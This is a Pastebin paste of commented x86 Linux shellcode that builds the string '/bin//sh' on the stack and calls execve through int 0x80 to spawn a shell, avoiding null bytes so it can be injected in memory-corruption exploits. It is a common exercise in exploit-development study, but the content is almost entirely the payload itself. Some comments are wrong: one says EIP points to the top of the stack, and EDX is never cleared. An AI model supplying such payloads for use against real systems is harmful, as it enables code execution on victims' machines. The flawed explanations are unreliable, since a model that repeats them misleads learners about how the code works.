Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- section .text
- global _start; this tell the OS where the program starts
- _start:
- xor eax, eax; we zero out EAX. Its value is now 0
- push eax ; We push a null terminated string onto the stack. First comes 0x00000000 from EAX
- push 0x68732f2f; ASCII sh//
- push 0x6e69622f; ASCII nib/
- ; As the stack is 4-byte aligned, we push /bin//sh, which is 8 letters (8 bytes)
- ; the additional slash is an alignment.
- mov ebx, esp ;currently the string /bin/sh is on the top of the stack. As EIP points to the top of the stack, we move it to ebx as pointer to$
- mov ecx, eax ; eax is still 0 as we didn’t change it. Let's copy the zero to ecx.
- mov al, 0xb ; we move 11 to eax, but we do it by targeting the lowest quarter of EAX. this way, we
- ; use the value 0xb without nulls.
- int 0x80 ; interrupt - execute syscall.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement